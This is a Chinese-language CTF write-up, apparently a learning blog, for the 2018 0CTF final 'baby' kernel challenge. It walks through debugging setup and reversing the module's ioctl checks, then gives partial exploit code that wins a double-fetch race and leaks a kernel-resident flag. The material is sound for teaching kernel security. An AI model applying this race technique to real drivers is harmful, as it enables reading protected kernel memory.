2018 0ctf final baby

第三道Linux kernel pwn的题目,这道题做完WIKI关于内核的就学习完了。

调试

题目只给了baby.ko和加载的文件系统core.cpio,没有bzImage,为了调试,我们需要得到其原始内核,在IDA中可以看到其内核版本为4.15.0-22-generic SMP mod_unload。
1
这里下载对应内核的deb包linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb,解压,在./data/boot中得到vmlinuz-4.15.0-22-generic。

查看模块加载的基址,在init启动文件中加入以下命令,使得内核启动时便是root权限,这样可以查看baby.ko加载的基址。

1
setsid /bin/cttyhack setuidgid 0 /bin/sh

通过lsmod命令查看加载的模块及基址。

1
2
/ # lsmod
baby 16384 0 - Live 0xffffffffc030a000 (OE)

gdb启动vmlinuz-4.15.0-22-generic,连接调试,并添加符号表。

1
2
3
gdb ./vmlinuz-4.15.0-22-generic
target remote localhost:1234
add-symbol-file baby.ko 0xffffffffc030a000

题目描述

主要关注baby_ioctl这个函数。当ioctl命令为0x6666时,输出flag的地址。

1
2
3
4
5
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}

题目的三个check

当命令为0x1337时,程序首先进行了三个check,然后再将用户输入的内容与flag进行逐字节比较,若通过校验,则将硬编码的flag输出。
主要看一下这里的三个check。首先,通过对函数的分析,可以得到存储用户输入数据的结构体:

1
2
3
4
00000000 attr            struc ; (sizeof=0x10, mappedto_3)
00000000 flag_str dq ?
00000008 flag_len dq ?
00000010 attr ends

第一个和第二个check都调用了_chk_range_not_ok这个函数。IDA里F5大致可以看到它的功能,函数有三个参数,第一个参数是一个指针,第二个参数是长度,函数将第一个参数与第二个参数相加,再与第三个参数比较,若第三个参数比较大,则返回False,否则返回True。题目里若想通过第一个和二个check的检查,则需要返回False,也就是第一个和第二个参数之和小于第三个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool __fastcall _chk_range_not_ok(__int64 ptr, __int64 len, unsigned __int64 a3)
{
unsigned __int8 v3; // cf
unsigned __int64 v4; // rdi
bool result; // al

v3 = __CFADD__(len, ptr);
v4 = len + ptr;
if ( v3 )
result = 1;
else
result = a3 < v4;
return result;
}

动态调试可以看到在第一个和第二个check中第三个参数的地址:
2
这里涉及到64位进程的内存布局,在64位系统中,没有完全用到64位长的地址空间,只有低48位用来寻址,虚拟内存空间为256TB(2^48),同样采用经典内存布局,如下图所示。
3
(图来源于《glibc内存管理ptmalloc源代码分析@华庭》)

寄存器RDX的地址恰好是用户空间的边界,那我们就知道这两个check的作用,第一个check检查存储用户输入的结构体数据地址是否在用户空间,因为结构体有2个成员,大小为0x10。

1
_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))

第二个check是用户输入的flag数据是否在用户空间:

1
2
3
4
!_chk_range_not_ok(
v5->flag_str,
SLODWORD(v5->flag_len),
*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x1358))

第三个check是检查用户输入的数据长度与flag长度是否相等。

Double fetch

这里涉及到一个叫做Double fetch的漏洞,可以看CTF-WIKI上的讲解,已经写的很详细了,简单来说,这种漏洞属于内核和用户的一种数据访问竞争漏洞,当用户空间向内核传递数据时,除了使用copy_from_user等函数直接将用户数据拷贝至内核外,还有另外一种情况就是向内核传递的只是数据指针,数据仍然存储在用户空间,那存储于用户空间的数据就可能被篡改。
应用到这道题目就是用户输入的数据存储在用户空间,当ioctl的命令为0x1337时,用户输入一个字符串,能够通过三个check的检查,但是不能通过下一步逐字节比对的检查,也就不能最后输出flag,再通过三个check的检查后,设置一个线程不断地将存储用户输入数据的结构体成员flag_str所指向的地址修改为真正存储于内核空间的flag的地址,在命令为0x6666时可以得到这个地址,这样就能通过最后字节比对的检查,从而输出flag。

利用过程

首先ioctl的命令为0x6666,来获取flag的地址:

1
2
3
//ioctl 0x6666
int fd = open("/dev/baby",0);
int ret = ioctl(fd,0x6666);

可以通过dmesg来读取输出的内容,重定向到/tmp/record.txt,然后读该文件,主要说一下为什么要调用lseek函数重定位文件指针的位置,可以打开record.txt看一下这个文件,其中flag的地址靠近文件末尾,因此以SEKK_END文件末尾为基准,左移若干偏移来读取文件,确保一定能读取到flag的地址。

1
2
3
4
5
6
//read flag addr
system("dmesg > /tmp/record.txt");
int addr_fd = open("/tmp/record.txt",O_RDONLY);
lseek(addr_fd,-LEN,SEEK_END);
read(addr_fd,buf,LEN);
close(addr_fd);

然后通过定位”Your flag is at “字符串来找到flag地址所在位置,然后读取,并将字符串转化为十六进制的数字。

1
2
3
4
5
6
7
8
9
10
11
12
//get flag addr
idx = strstr(buf,"Your flag is at ");
printf("idx: %d\n",idx);
if(idx == 0){
printf("[-]Not found addr\n");
exit(-1);
}
else{
idx += 16;
addr = strtoull(idx,idx+16,16); //string to int
printf("[+]flag addr: %p\n",addr);
}

构造一个结构体,它的长度与flag的长度相同,可以在IDA里看到flag的长度为33。创建一个恶意线程,不断的去改变结构体中flag的地址指向上面获取到的flag的地址,同时主线程发送0x1337的命令进行flag的check,并将flag指向一个用户空间地址,exp里用了之前读文件的buf,从而通过程序中的三个check检查,恶意线程与主线程进行条件竞争,当主线程中三次check通过,恶意线程恰好将flag指向的地址修改为真正flag的地址时,正好能通过程序逐字节比对的检查,从而输出flag。

1
2
3
4
5
6
7
8
t.len = 33;
t.flag = buf;
pthread_create(&t1,NULL,change_attr_value,&t);
for(i=0;i<TRYTIME;i++){
ret = ioctl(fd,0x1337,&t);
t.flag = buf;
}
~

最后同样适用dmesg命令读取输出的flag,要多试几次,最后得到flag:
4
大佬们的博客里都说要设置好core和thread的数目,因为qemu默认启动core=1,thread=1,不易造成条件竞争。这里start.sh的内容是:

1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokalsr" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic -enable-kvm \
-gdb tcp::1234 \
# -S

完整的exp在这里,我就不写了,写这篇博客主要是记录自己学习的过程,静态编译exp:

1
gcc -static exp.c -lpthread -o exp

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/double-fetch-zh/
https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/
http://p4nda.top/2018/07/20/0ctf-baby/